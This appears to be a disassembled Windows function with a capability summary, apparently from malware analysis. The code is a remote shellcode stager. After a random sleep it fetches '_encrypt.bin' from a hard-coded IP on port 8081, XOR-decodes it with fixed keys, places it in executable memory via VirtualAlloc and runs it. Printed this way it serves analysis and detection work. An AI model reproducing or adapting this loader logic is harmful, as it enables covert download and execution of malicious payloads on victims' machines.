Function at 0x401643
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x110], xmm6
movaps xmmword [rbp + 0x120], xmm7
movaps xmmword [rbp + 0x130], xmm8
movaps xmmword [rbp + 0x140], xmm9
movaps xmmword [rbp + 0x150], xmm10
movaps xmmword [rbp + 0x160], xmm11
movaps xmmword [rbp + 0x170], xmm12
movaps xmmword [rbp + 0x180], xmm13
movaps xmmword [rbp + 0x190], xmm14
movaps xmmword [rbp + 0x1a0], xmm15
mov qword [rbp + 0x200], rcx
mov qword [rbp + 0x208], rdx
mov qword [rbp + 0x210], r8
mov dword [rbp + 0x218], r9d
lea rax, [0x004da4b0]
mov qword [rbp], rax
lea rax, [0x004f90e4]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x10]
lea rbx, [rbp + 0x110]
mov qword [rax], rbx
lea rdx, [0x00401cbd]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0040d5f0
mov dword [rbp + 0x10c], 0
mov dword [rbp + 0x108], 0
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, str.09:11:21
movzx eax, byte [rax + rdx]
test al, al
je 0x40179b
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, str.09:11:21
movzx eax, byte [rax + rdx]
cmp al, 0x2f
jle 0x401792
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, str.09:11:21
movzx eax, byte [rax + rdx]
cmp al, 0x39
jg 0x401792
mov edx, dword [rbp + 0x10c]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
mov ecx, eax
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, str.09:11:21
movzx eax, byte [rax + rdx]
movsx eax, al
add eax, ecx
sub eax, 0x30
mov dword [rbp + 0x10c], eax
add dword [rbp + 0x108], 1
jmp 0x40171b
mov eax, dword [rbp + 0x10c]
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x2ee0
cdqe
mov rcx, rax
call fcn.004021d2
lea rax, str.134.175.123.241
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0xec], 0x1f91
lea rax, str._encrypt.bin
mov qword [rbp + 0xe0], rax
mov byte [rbp + 0xdf], 0x7e
mov dword [rbp + 0x78], 0
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004b9e90
mov dword [rsp + 0x20], 0
mov dword [rbp - 0x28], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
call sub.WINHTTP.dll_WinHttpOpen
mov qword [rbp + 0xd0], rax
mov eax, dword [rbp + 0xec]
movzx ecx, ax
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xd0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xc8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x004df042]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0xbc], eax
mov rax, qword [rbp + 0xc0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0xbc], eax
mov dword [rbp + 0x7c], 0
lea rax, [rbp + 0x7c]
mov rcx, qword [rbp + 0xc0]
mov dword [rbp - 0x28], 1
mov rdx, rax
call sub.WINHTTP.dll_WinHttpQueryDataAvailable
test eax, eax
sete al
test al, al
je 0x40195c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.00418300
mov eax, dword [rbp + 0x7c]
add eax, 1
mov eax, eax
mov dword [rbp - 0x28], 1
mov rcx, rax
call fcn.004d9490
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
test rax, rax
jne 0x401987
mov dword [rbp + 0x7c], 0
mov eax, dword [rbp + 0x7c]
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0x70]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov r8d, dword [rbp + 0x7c]
mov rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x78]
mov rax, qword [rbp + 0xc0]
mov dword [rbp - 0x28], 1
mov r9, rcx
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
test eax, eax
sete al
test al, al
je 0x4019ea
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.00418300
jmp 0x401a4d
mov rax, qword [rbp + 0x70]
mov edx, dword [rbp + 0x78]
mov edx, edx
add rax, rdx
mov qword [rbp + 0x38], rax
mov rsi, qword [rbp + 0x70]
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004b9d90
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x88]
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.0041a5e0
mov rdx, qword [rbp + 0x80]
lea rax, [rbp + 0x50]
mov dword [rbp - 0x28], 1
mov r9, qword [rbp + 0x38]
mov r8, qword [rbp - 0x38]
mov rcx, rax
call fcn.004b9df0
mov eax, dword [rbp + 0x7c]
test eax, eax
je 0x401a59
jmp 0x40191b
mov byte [rbp + 0x4d], 0xbc
mov byte [rbp + 0x4e], 0xab
mov byte [rbp + 0x4f], 0xcb
mov qword [rbp + 0xb0], 3
mov qword [rbp + 0x100], 0
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00428380
cmp qword [rbp + 0x100], rax
setb al
test al, al
je 0x401ad9
mov rdx, qword [rbp + 0x100]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004b9f80
mov rcx, rax
movzx r8d, byte [rcx]
mov rax, qword [rbp + 0x100]
mov edx, 0
div qword [rbp + 0xb0]
mov rax, rdx
movzx eax, byte [rbp + rax + 0x4d]
xor eax, r8d
mov byte [rcx], al
add qword [rbp + 0x100], 1
jmp 0x401a7b
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00428380
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xa8], rax
mov dword [rbp + 0xfc], 0
mov eax, dword [rbp + 0xfc]
cdqe
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00428380
cmp qword [rbp + 0x38], rax
setb al
test al, al
je 0x401b5d
mov eax, dword [rbp + 0xfc]
movsxd rdx, eax
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004b9f80
movzx eax, byte [rax]
xor eax, 0x7e
mov ecx, eax
mov eax, dword [rbp + 0xfc]
cdqe
mov rdx, qword [rbp + 0xa8]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp + 0xfc], 1
jmp 0x401afe
mov dword [rbp - 0x28], 1
mov ecx, 0
call fcn.00401ef8
mov qword [rbp + 0x40], rax
lea rcx, [0x004df096]
call fcn.00401ef8
lea rdx, [0x004df0b0]
mov rcx, rax
call fcn.00401f8c
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00428380
mov rdx, rax
mov rax, qword [rbp + 0xa0]
mov r9d, 0x40
mov r8d, 0x3000
mov ecx, 0
call rax
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x401be4
lea rcx, str.VirtualAlloc_failed_n
call fcn.00418300
mov ecx, 1
call sub.msvcrt.dll_exit
movzx eax, byte [rbp + 0xdf]
mov dword [rbp + 0x38], eax
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00428380
mov edx, eax
mov rax, qword [rbp + 0xa8]
mov r8d, dword [rbp + 0x38]
mov rcx, rax
call fcn.00402234
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00428380
mov rcx, rax
mov rdx, qword [rbp + 0xa8]
mov rax, qword [rbp + 0x98]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp - 0x28], 1
call fcn.004015c0
call fcn.004015c0
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x90], rax
mov rdx, qword [rbp + 0x40]
mov rax, qword [rbp + 0x90]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x38], 0
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004b9ef0
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x38], eax
jmp 0x401ceb
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0040d680
mov eax, dword [rbp + 0x38]
movaps xmm6, xmmword [rbp + 0x110]
movaps xmm7, xmmword [rbp + 0x120]
movaps xmm8, xmmword [rbp + 0x130]
movaps xmm9, xmmword [rbp + 0x140]
movaps xmm10, xmmword [rbp + 0x150]
movaps xmm11, xmmword [rbp + 0x160]
movaps xmm12, xmmword [rbp + 0x170]
movaps xmm13, xmmword [rbp + 0x180]
movaps xmm14, xmmword [rbp + 0x190]
movaps xmm15, xmmword [rbp + 0x1a0]
add rsp, 0x238
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret